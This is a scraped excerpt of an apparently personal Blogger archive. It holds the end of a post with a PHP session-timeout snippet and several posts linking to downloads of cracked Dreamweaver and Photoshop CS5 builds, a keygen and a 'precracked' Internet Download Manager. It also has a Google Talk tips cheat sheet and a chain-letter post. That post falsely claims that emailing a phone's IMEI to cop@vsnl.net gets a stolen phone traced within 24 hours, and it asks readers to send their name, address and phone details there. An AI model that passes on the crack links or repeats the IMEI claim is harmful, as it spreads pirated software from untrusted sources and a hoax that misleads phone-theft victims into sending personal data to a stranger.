<pre class="default prettyprint" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; line-height: 18px; margin-bottom: 10px; max-height: 600px; overflow-x: auto; overflow-y: auto; padding-bottom: 5px; padding-left: 5px; padding-right: 5px; padding-top: 5px; text-align: left; vertical-align: baseline; width: auto;"><span class="Apple-style-span" style="line-height: 21px;"><code style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><span class="pun" style="background-color: white; border-width: 0px; font-family: Arial, Helvetica, sans-serif; margin: 0px; padding: 0px; vertical-align: baseline;"><pre class="lang-php prettyprint" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 10px; max-height: 600px; overflow-x: auto; overflow-y: auto; padding-bottom: 5px; padding-left: 5px; padding-right: 5px; padding-top: 5px; vertical-align: baseline; width: auto;"><code style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><span style="color: #38761d;"><span class="kwd" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">if</span><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">(</span><span class="pln" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">isSet</span><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">(</span><span class="pln" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">$_SESSION</span><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">[</span><span class="str" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">'started'</span><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">])){</span><span class="pln" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">
</span><span class="kwd" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">if</span><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">((</span><span class="pln" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">mktime</span><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">()</span><span class="pln" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"> </span><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">-</span><span class="pln" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"> $_SESSION</span><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">[</span><span class="str" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">'started'</span><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">]</span><span class="pln" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"> </span><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">-</span><span class="pln" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"> </span><span class="lit" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">60</span><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">*</span><span class="lit" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">30</span><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">)</span><span class="pln" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"> </span><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">></span><span class="pln" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"> </span><span class="lit" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">0</span><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">){</span><span class="pln" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">
</span><span class="com" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">//logout, destroy session etc</span><span class="pln" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">
</span><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">}</span><span class="pln" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">
</span><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">}</span><span class="kwd" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">else</span><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">{</span><span class="pln" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">
$_SESSION</span><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">[</span><span class="str" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">'started'</span><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">]</span><span class="pln" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"> </span><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">=</span><span class="pln" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"> mktime</span><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">();</span><span class="pln" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">
</span><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">}</span></span></code></pre>
<pre class="lang-php prettyprint" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 10px; max-height: 600px; overflow-x: auto; overflow-y: auto; padding-bottom: 5px; padding-left: 5px; padding-right: 5px; padding-top: 5px; vertical-align: baseline; width: auto;"><code style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"><div style="font-family: 'Times New Roman'; line-height: normal; text-align: center; white-space: normal;">
<span style="color: #38761d;">--</span></div>
<div style="font-family: 'Times New Roman'; line-height: normal; text-align: center; white-space: normal;">
<span style="background-color: white;"><span style="color: #073763;">Thank You</span></span></div>
<div style="font-family: 'Times New Roman'; line-height: normal; text-align: center; white-space: normal;">
<span style="background-color: white;"><span style="color: #073763;">Nelson Desai</span></span></div>
</span></code></pre>
</span></code></span></pre>
<div style="line-height: 18px;">
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"><br /></span></div>
</div>
</div>
</div>
</div>
</div>
<div class="blogger-post-footer">Thank you for your feedback.</div>Anonymoushttp://www.blogger.com/profile/17907670525124111691noreply@blogger.com136tag:blogger.com,1999:blog-9099073570000665072.post-60107548056606978782011-08-30T02:40:00.000-07:002011-08-30T02:59:02.910-07:00Dreamweaver CS5 Crack<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-ZhDJeCvZmpo/Tlyss-LxszI/AAAAAAAABdk/yPBbIok2nUA/s1600/dream.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="http://1.bp.blogspot.com/-ZhDJeCvZmpo/Tlyss-LxszI/AAAAAAAABdk/yPBbIok2nUA/s320/dream.jpg" width="238" /></a></div>
<br />
<br />
<br />
<span class="Apple-style-span" style="color: #000033; font-family: Geneva,Arial,Helvetica,sans-serif; font-size: xx-small;"><span class="Apple-style-span" style="font-size: 13px;">To download copy this link in new tab :- </span></span><br />
<br />
http://www.4shared.com/file/BnMv3YGI/Dreamweaver_CS5_Crack_NDR_Grou.html</div>
<div class="blogger-post-footer">Thank you for your feedback.</div>Anonymoushttp://www.blogger.com/profile/17907670525124111691noreply@blogger.com1tag:blogger.com,1999:blog-9099073570000665072.post-61540030127829554352011-08-30T02:23:00.000-07:002011-08-30T02:58:48.816-07:00Photoshop CS5 Crack<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-Hx8ZrF5apn0/Tlyrvv9zXRI/AAAAAAAABdg/uIfAYMx7q4M/s1600/Adobe-Photoshop-CS5-Icon-psd47180.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="http://2.bp.blogspot.com/-Hx8ZrF5apn0/Tlyrvv9zXRI/AAAAAAAABdg/uIfAYMx7q4M/s320/Adobe-Photoshop-CS5-Icon-psd47180.png" width="320" /></a></div>
<br />
<br />
<span class="Apple-style-span" style="color: #000033; font-family: Geneva,Arial,Helvetica,sans-serif; font-size: xx-small;"><span class="Apple-style-span" style="font-size: 13px;">To download copy this link in new tab :- </span></span><br />
<br />
<span class="Apple-style-span" style="color: #000033; font-family: Geneva,Arial,Helvetica,sans-serif; font-size: xx-small;"><span class="Apple-style-span" style="font-size: 13px;">http://www.4shared.com/file/zH2K0M0H/Photoshop_CS5_Crack_NDR_Group.html </span></span><br />
<br /></div>
<div class="blogger-post-footer">Thank you for your feedback.</div>Anonymoushttp://www.blogger.com/profile/17907670525124111691noreply@blogger.com2tag:blogger.com,1999:blog-9099073570000665072.post-84828210452303079572011-08-30T02:21:00.000-07:002011-08-30T02:58:04.201-07:00Dreamweaver CS5 Keygen<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-MN79G0uFEFg/TlyfUYgebCI/AAAAAAAABdc/Y_8x0mDzbYg/s1600/Adobe_Dreamweaver_CS5_Icon.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="http://1.bp.blogspot.com/-MN79G0uFEFg/TlyfUYgebCI/AAAAAAAABdc/Y_8x0mDzbYg/s320/Adobe_Dreamweaver_CS5_Icon.png" width="320" /></a></div>
<span class="Apple-style-span" style="color: #000033; font-family: Geneva,Arial,Helvetica,sans-serif; font-size: x-small;"><span class="Apple-style-span" style="font-size: 13px;">To download copy this link in new tab :- </span></span><br />
<span class="Apple-style-span" style="color: #000033; font-family: Geneva,Arial,Helvetica,sans-serif; font-size: x-small;"><span class="Apple-style-span" style="font-size: 13px;"> http://www.4shared.com/file/j8osy5_k/NDR_Group.html</span></span></div>
<div class="blogger-post-footer">Thank you for your feedback.</div>Anonymoushttp://www.blogger.com/profile/17907670525124111691noreply@blogger.com0tag:blogger.com,1999:blog-9099073570000665072.post-7269681524496187352010-11-19T06:38:00.000-08:002011-08-30T02:42:53.915-07:00Internet Download Manager 5.19.1 Precracked<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-cURzOZ4WHdw/Tlywkk-cSoI/AAAAAAAABdo/Jq6EiENdxzE/s1600/Internet-Download-Manager.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-cURzOZ4WHdw/Tlywkk-cSoI/AAAAAAAABdo/Jq6EiENdxzE/s1600/Internet-Download-Manager.jpg" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<h3 class="style28" style="background-position: 50% 50%; clip: inherit; color: #00668c; font-family: Geneva, Arial, Helvetica, sans-serif; font-size: 13px; font-style: inherit; font-weight: bold; text-decoration: inherit;">
<span class="Apple-style-span" style="color: black; font-family: 'Times New Roman'; font-size: small; font-weight: normal;"><h3 class="style28" style="background-position: 50% 50%; clip: inherit; color: #00668c; display: inline !important; font-family: Geneva, Arial, Helvetica, sans-serif; font-size: 13px; font-style: inherit; font-weight: bold; text-decoration: inherit;">
<span class="Apple-style-span" style="color: black; font-family: 'Times New Roman'; font-size: small; font-weight: normal;"><h3 class="style28" style="background-position: 50% 50%; clip: inherit; color: #00668c; display: inline !important; font-family: Geneva, Arial, Helvetica, sans-serif; font-size: 13px; font-style: inherit; font-weight: bold; text-decoration: inherit;">
What's new in version 5.19?</h3>
</span></h3>
</span></h3>
<ul>
<li><span class="style12" style="background-position: 50% 50%; clip: inherit; color: #000033; font-family: Geneva,Arial,Helvetica,sans-serif; font-size: 13px; font-style: inherit; text-decoration: inherit;">Added "Download panel" for selected links on a web-page</span></li>
<li><span class="style12" style="background-position: 50% 50%; clip: inherit; color: #000033; font-family: Geneva,Arial,Helvetica,sans-serif; font-size: 13px; font-style: inherit; text-decoration: inherit;">Improved Windows 7 compatibility</span></li>
<li><span class="style12" style="background-position: 50% 50%; clip: inherit; color: #000033; font-family: Geneva,Arial,Helvetica,sans-serif; font-size: 13px; font-style: inherit; text-decoration: inherit;">Fixed bugs</span></li>
<li><span class="style12" style="background-position: 50% 50%; clip: inherit; color: #000033; font-family: Geneva,Arial,Helvetica,sans-serif; font-size: 13px; font-style: inherit; text-decoration: inherit;"><span class="Apple-style-span" style="color: black; font-family: 'Times New Roman'; font-size: small;"><span class="style12" style="background-position: 50% 50%; clip: inherit; color: #000033; font-family: Geneva,Arial,Helvetica,sans-serif; font-size: 13px; font-style: inherit; text-decoration: inherit;"><h3 class="style28" style="background-position: 50% 50%; clip: inherit; color: #00668c; display: inline !important; font-family: Geneva, Arial, Helvetica, sans-serif; font-size: 13px; font-style: inherit; font-weight: bold; text-decoration: inherit;">
<span class="Apple-style-span" style="color: black; font-family: 'Times New Roman'; font-size: small; font-weight: normal;"><span class="style12" style="background-position: 50% 50%; clip: inherit; color: #000033; font-family: Geneva,Arial,Helvetica,sans-serif; font-size: 13px; font-style: inherit; text-decoration: inherit;">Fixed a security vulnerability</span></span></h3>
</span></span></span></li>
</ul>
<div>
<span class="Apple-style-span" style="color: #000033; font-family: Geneva,Arial,Helvetica,sans-serif; font-size: small;"><span class="Apple-style-span" style="font-size: 13px;"><br />
</span></span></div>
<div>
<span class="Apple-style-span" style="color: #000033; font-family: Geneva,Arial,Helvetica,sans-serif; font-size: small;"><span class="Apple-style-span" style="font-size: 13px;">To download copy this link in new tab :-</span></span></div>
<div>
<span class="Apple-style-span" style="color: #000033; font-family: Geneva,Arial,Helvetica,sans-serif; font-size: small;"><span class="Apple-style-span" style="font-size: 13px;"></span></span><br />
<div>
<span class="Apple-style-span" style="color: #000033; font-family: Geneva,Arial,Helvetica,sans-serif; font-size: small;"><span class="Apple-style-span" style="font-size: 13px;">http://www.4shared.com/file/RzSAkdCS/Internet_Download_Manager_5191.html</span></span></div>
<div>
<span class="Apple-style-span" style="color: #000033; font-family: Geneva,Arial,Helvetica,sans-serif; font-size: small;"><span class="Apple-style-span" style="font-size: 13px;"><br /></span></span></div>
</div>
</div>
<div class="blogger-post-footer">Thank you for your feedback.</div>Anonymoushttp://www.blogger.com/profile/17907670525124111691noreply@blogger.com2tag:blogger.com,1999:blog-9099073570000665072.post-88758202846223321712010-09-12T05:31:00.000-07:002010-09-18T03:08:47.195-07:00Google Talk Cheat Sheet<div class="separator" style="clear: both; text-align: center;"><a href="http://3.bp.blogspot.com/_ibkwjOee24U/TIzHqj_-FTI/AAAAAAAAAfA/k2YJFKFtNuY/s1600/google_talk12345.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="151" src="http://3.bp.blogspot.com/_ibkwjOee24U/TIzHqj_-FTI/AAAAAAAAAfA/k2YJFKFtNuY/s320/google_talk12345.jpg" width="320" /></a></div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;">Are you crazy about Google Talk. Do you want to be become a master of Google Talk? Then here is a source for you to know each and every secret of Google Talk. I think this is a complete list of tips, tricks, hacks, howto’s, keyboard shortcuts and few miscellaneous facts about Google Talk.</div><h3>Tips & Tricks</h3><strong>1. Change the font size</strong><br />
While holding the control key, move the scroll wheel on your mouse either up or down. This trick works while being focused in either the read or write area.<br />
<strong>2. Insert line breaks</strong><br />
If you want to have a message that spans multiple paragraphs, just hold shift and hit enter. You can add as many new lines as you want to create.<br />
<strong>3. Bold Text</strong><br />
To write something bold, you can use an asterisk before and after the word. For Example *Hacker*<br />
<strong>4. Italic Text</strong><br />
To use italics, use an underscore before and after the word. For Example _Hacker_<br />
<strong>5. Switch windows</strong><br />
Hitting tab will cycle through open windows. It will select minimized conversations, to expand them just hit enter. If you just want to cycle through IM’s and don’t care about the buddy list, control-tab will do that and will automatically expand a minimized conversation if you settle on one.<br />
<strong>6. Invitation Tips</strong><br />
You don’t need to say Yes or No when someone wants to add you as a friend; you can simply ignore it, the request will go away. (On the other hand, someone with whom you chat often will automatically turn to be your friend, unless you disable this in the options).<br />
<strong>7. Show Hyperlinks</strong><br />
You can show your homepage or blog URL simply by entering it in your away message (at the top of the main window). It will automatically turn to a link visible to others.<br />
<br />
<h3>How To’s</h3><strong>1. </strong><strong>Use multiple identities on Google Talk</strong><br />
Want to run Google Talk with multiple Gmail identities? If you have several Google Gmail accounts you also may want to run multiple instances of Google Talk This is especially important for families that share a single PC. Basically, to have “Google Polygamy” you need to run Google Talk with the following switch: /nomutex<br />
<ul><li>Right-click on the desktop</li>
<li>Select New -> Shortcut</li>
<li>Paste the following into the Address box:</li>
</ul><blockquote><em>“C:\program files\google\google talk\googletalk.exe” /nomutex</em></blockquote><ul><li>Click Next and choose a shortcut name such as Google Talk1, Google Talk2, or something related to your Gmail account for easy remembering which account is which.</li>
</ul><strong> </strong><br />
<strong>2. </strong><strong>Use Google Talk via a Web Browser</strong><br />
You want to use Google Talk anywhere ? Follow these guidelines <img alt=":)" class="wp-smiley" src="http://www.hungry-hackers.com/wp-includes/images/smilies/icon_smile.gif" /> <br />
<ul><li>Opens your favourite web browser.</li>
<li>Go to following Website</li>
</ul><blockquote><em>http://www.webjabber.net:8080/jim/</em></blockquote><ul><li>Follow the instructions of the Page.</li>
<li>You can talk with your friends</li>
</ul><strong> </strong><br />
<strong>3. </strong><strong> Conference Calls</strong><br />
<ul><li>Open up a copy of Google Talk on all computers with which you wish to conference.</li>
<li>After one copy is opened make a new shortcut for Google Talk but at the end of it add /nomutex.</li>
<li>If you installed it to the default folder then your shortcut should read “C:\Program Files\Google\Google Talk\googletalk.exe” /nomutex.</li>
<li>Open 2nd instances of the software on every user’s computer.</li>
<li>After this start a chain: User 1 should connect on one instance to user 2. User 2 will connect on his second instance to user 3. User 3 will connect using his second instance back to user 1. With this chain everyone is connected to everyone.</li>
</ul><strong>4. </strong><strong>Change Nickname</strong><br />
You can’t change your nickname in a way that other people will see it change. Every nickname in the Google Talk Contact List is the part that is before @gmail.com (only the alphabetical characters are used) or the name you chosen for your GMail account. To change the nickname you need to do the following:<br />
<ul><li>Go to your Gmail account and change the name there.</li>
<li>Choose Settings, Accounts, and then Edit info. Click on the second radio button, and enter your custom name.</li>
<li>As a result all of your emails will have that nick as well, there is no way to seperate the two.</li>
<li>You can add a website in your custom message, it will be clickable when someone opens a conversation window with you.</li>
</ul><strong> </strong><br />
<strong>5. </strong><strong>Contacts</strong><br />
You don’t need to say Yes or No when someone wants to add you as a friend; you can simply ignore it, the request will go away. (On the other hand, someone with whom you chat often will automatically turn to be your friend, unless you disable this).<br />
<strong> </strong><br />
<strong>6. </strong><strong>Play Music</strong><br />
It’s possible to broadcast music, MP3, etc. through Google Talk. Follow the steps given bellow:<br />
<ul><li>Unplug your microphone.</li>
<li>Double click on the speaker icon in the lower right corner. This will open up “Volume Control”.</li>
<li>Select “Options” and then “Properties”. Then check the button next to “Recording” then click OK.</li>
<li>You may also have to change your setting under Mixer Device. Now the Recording Control screen should be up.</li>
<li>On my computer I selected “Wave Out Mix”. Click on the green phone in Google Talk and call your friend.</li>
</ul><h3>Registry Hacks</h3>Before applying any of these Registry Tweaks follow the steps given below:<br />
<ol><li>Backup your Registry</li>
<li>Start -> Run -> Regedit</li>
<li> Now Navigate to the following directory</li>
<blockquote>HKEY_CURRENT_USER\Software\Google\Google Talk.</blockquote>
<li>Make Changes based on the info given bellow.</li>
<li>Restart your PC for the changes to take effect.</li>
</ol>The “Google/Google Talk” key has several sub-keys that hold different option values:<br />
<strong>Accounts</strong>: This one has subkeys for each different account that has logged in on the client. These keys have different values that store the username, password and connection options.<br />
<strong><br />
Autoupdate</strong>: Stores the current version information. When the client checks for updates it compares Google’s response with these values. If an update is needed, it will download and update the new version.<br />
<strong>Options</strong>: This is the most interesting part, where most of the current hacks should be used (keep reading).<br />
<strong>Process</strong>: Stores the process ID. Probably used by Google Talk to detect if it’s already running or not.<br />
<ol><li><strong> HKEY_CURRENT_USER\Software\Google\Google Talk\Options\show_pin</strong></li>
If 1, shows a “pin” next to the minimize button that keeps the windows on top of all the other open windows when clicked.
<li><strong>HKEY_CURRENT_USER\Software\Google\Google Talk\Options\view_show_taskbutton</strong></li>
If 0, hides the taskbar button, and leaves the tray icon only, when the window is shown
<li><strong>HKEY_CURRENT_USER\Software\Google\Google Talk\Options\away_inactive</strong></li>
If 1, status will be set as Away after the specified number of minutes.
<li><strong>HKEY_CURRENT_USER\Software\Google\Google Talk\Options\away_screensaver</strong></li>
If 1, status will be set as Away after the specified number of minutes.
<li><strong>HKEY_CURRENT_USER\Software\Google\Google Talk\Options\inactive_minutes</strong></li>
Number of inactive minutes to become away if auto-away is on.</ol><h3>Keyboard Shortcuts</h3><table border="0px" cellpadding="3px" cellspacing="0"><tbody>
<tr> <td valign="top" width="130"><strong>Shortcut</strong></td> <td valign="top" width="486"><strong>Use</strong></td> </tr>
<tr> <td valign="top" width="130">Ctrl + E</td> <td valign="top" width="486">It centralizes the selected text, or the current line.</td> </tr>
<tr> <td valign="top" width="130">Ctrl + R</td> <td valign="top" width="486">It justifies to the right the selected text, or the current line.</td> </tr>
<tr> <td valign="top" width="130">Ctrl + L</td> <td valign="top" width="486">It justifies to the left the selected text, or the current line.</td> </tr>
<tr> <td valign="top" width="130">Ctrl + I</td> <td valign="top" width="486">The same thing does that Tab.</td> </tr>
<tr> <td valign="top" width="130">Tab</td> <td valign="top" width="486">It is giving the area to each of the windows opened by Google Talk.</td> </tr>
<tr> <td valign="top" width="130">Ctrl + Tab</td> <td valign="top" width="486">The same thing does that Tab but in reverse.</td> </tr>
<tr> <td valign="top" width="130">Shift + Tab</td> <td valign="top" width="486">The same thing that Ctrl + Tab does.</td> </tr>
<tr> <td valign="top" width="130">Ctrl + Shift + L</td> <td valign="top" width="486">Switch between points, numbers, letters, capital letters, roman numbers and capital roman numbers</td> </tr>
<tr> <td valign="top" width="130">Ctrl + 1 (Key Pad)</td> <td valign="top" width="486">It does a simple space between the lines.</td> </tr>
<tr> <td valign="top" width="130">Ctrl + 2 (Key Pad)</td> <td valign="top" width="486">It does a double space between the lines.</td> </tr>
<tr> <td valign="top" width="130">Ctrl + 5 (Key Pad)</td> <td valign="top" width="486">A space does 1.5 between the lines.</td> </tr>
<tr> <td valign="top" width="130">Ctrl + 1 (Num Pad)</td> <td valign="top" width="486">It goes at the end of the last line.</td> </tr>
<tr> <td valign="top" width="130">Ctrl + 7 (Num Pad)</td> <td valign="top" width="486">It goes at the begin of the last line.</td> </tr>
<tr> <td valign="top" width="130">Ctrl + F4</td> <td valign="top" width="486">It closes the current window.</td> </tr>
<tr> <td valign="top" width="130">Alt + F4</td> <td valign="top" width="486">It closes the current window.</td> </tr>
<tr> <td valign="top" width="130">Alt + Esc</td> <td valign="top" width="486">It Minimize all the windows.</td> </tr>
<tr> <td valign="top" width="130">Windows + ESC</td> <td valign="top" width="486">Open Google Talk (if it’s minimized, or in the tray)</td> </tr>
<tr> <td valign="top" width="130">F9</td> <td valign="top" width="486">Open Gmail to send an email to the current contact.</td> </tr>
<tr> <td valign="top" width="130">F11</td> <td valign="top" width="486">It initiates a telephonic call with your friend.</td> </tr>
<tr> <td valign="top" width="130">F12</td> <td valign="top" width="486">It cancels a telephonic call.</td> </tr>
<tr> <td valign="top" width="130">Esc</td> <td valign="top" width="486">It closes the current window.</td> </tr>
</tbody> </table><h3>Google’s Secret Command-Line Parameters</h3>There are a few secret parameters you can add to Google Talk and make it function differently.<br />
You can use these parameters as follows:<br />
“C:\program files\google\google talk\googletalk.exe” [PARAMETER]<br />
<table border="0px" cellpadding="3px" cellspacing="0"><tbody>
<tr> <td valign="top" width="130"><strong>Parameter</strong></td> <td valign="top" width="486"><strong>Use</strong></td> </tr>
<tr> <td valign="top" width="196">/nomutex</td> <td valign="top" width="420">Allows you to open more than one instance of Google Talk</td> </tr>
<tr> <td valign="top" width="196">/autostart</td> <td valign="top" width="420">It will check the registry settings to see if it needs to be started or not. If the “Start automatically with Windows” option is unchecked, it won’t start.</td> </tr>
<tr> <td valign="top" width="196">/forcestart</td> <td valign="top" width="420">Same as /autostart, but forces it to start no matter what option was set.</td> </tr>
<tr> <td valign="top" width="196">/S upgrade</td> <td valign="top" width="420">Used when upgrading Google Talk</td> </tr>
<tr> <td valign="top" width="196">/register</td> <td valign="top" width="420">Registers Google Talk in the registry, includig the GMail Compose method.</td> </tr>
<tr> <td valign="top" width="196">/checkupdate</td> <td valign="top" width="420">Check for newer versions.</td> </tr>
<tr> <td valign="top" width="196">/plaintextauth</td> <td valign="top" width="420">Uses plain authentication mechanism instead of Google’s GAIA mechanism. Used for testing the plain method on Google’s servers.</td> </tr>
<tr> <td valign="top" width="196">/nogaiaauth</td> <td valign="top" width="420">Disables GAIA authentication method. The same as /plaintextauth .</td> </tr>
<tr> <td valign="top" width="196">/factoryreset</td> <td valign="top" width="420">Set settings back to default.</td> </tr>
<tr> <td valign="top" width="196">/gaiaserver servername.com</td> <td valign="top" width="420">Uses a different GAIA server to connect to Google Talk. Used for debug purposes only, there are no other known GAIA servers.</td> </tr>
<tr> <td valign="top" width="196">/mailto email@host.com</td> <td valign="top" width="420">Send an email with Gmail.</td> </tr>
<tr> <td valign="top" width="196">/diag</td> <td valign="top" width="420">Start Google Talk in diagnostic mode.</td> </tr>
<tr> <td valign="top" width="196">/log</td> <td valign="top" width="420">Probably has something to do with the diagnostic logging</td> </tr>
</tbody> </table><h3>Miscellaneous G-talk Facts</h3><ul><li>A message can be 32767 characters long.</li>
<li>The Gmail account ‘user@gmail.com’ can’t be invited as your friend</li>
</ul><div class="blogger-post-footer">Thank you for your feedback.</div>Anonymoushttp://www.blogger.com/profile/17907670525124111691noreply@blogger.com0tag:blogger.com,1999:blog-9099073570000665072.post-24129088012758890562010-09-12T04:48:00.000-07:002010-09-12T04:48:46.338-07:00Track your lost mobileDid you ever lost your mobile and found no help from police or mobile operator in tracking your mobile? Well now you don’t need to be worried about it. Now a days each one of us carry Mobile devices and always fear that it may be stolen. Each mobile carries a unique IMEI i.e International Mobile Identity No which can be used to track your mobile anywhere in the world. <br />
<div style="text-align: justify;"><br />
</div><div style="text-align: justify;">This is how it works!!!!!!</div><div style="text-align: justify;"> 1. Dial *#06# from your mobile.<br />
2. Your mobile shows a unique 15 digit .<br />
3. Note down this no anywhere but except your mobile as this is the no which will help trace your mobile in case of a theft.<br />
4. Once stolen you just have to mail this 15 digit IMEI no. to cop@vsnl.net<br />
5. No need to go to police.<br />
6. Your Mobile will be traced within next 24 hrs via a complex<span style="color: #f8941d;"> <span style="color: black;">sytem</span> </span><a class="kLink" href="http://www.hungry-hackers.com/2010/07/track-your-lost-mobile.html#" id="KonaLink0" style="position: static; text-decoration: underline ! important;" target="undefined"><span style="color: rgb(248, 148, 29) ! important; font-family: Arial,Helvetica; font-size: 12.35px; font-weight: 400; position: static;"><span class="kLink" style="background-color: transparent; border-bottom: 1px solid rgb(248, 148, 29); color: rgb(248, 148, 29) ! important; font-family: Arial,Helvetica; font-size: 12.35px; font-weight: 400; position: relative;"></span></span><span class="preLoadWrap" id="preLoadWrap0" style="position: relative;"><div id="preLoadLayer0" style="display: none; left: -18px; position: absolute; top: -32px; z-index: 2147482647;"><img class="preloadImg" src="http://kona.kontera.com/javascript/lib/imgs/grey_loader.gif" style="border: medium none; height: 22px; width: 22px;" /></div></span></a> of GPRS and internet.<br />
7. You will find where your hand set is being operated even in case your no is being changed.</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;">PASS ON THIS VERY IMP MESSAGE TO ALL YOUR FRIENDS AND RELATIVES.</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;">If u lost your mobile, send an e-mail to cop@vsnl.netwith the following info.<br />
Your name:<br />
Address:<br />
Phone model:<br />
Make:<br />
Last used No.:<br />
E-mail for communication:<br />
Missed date:<br />
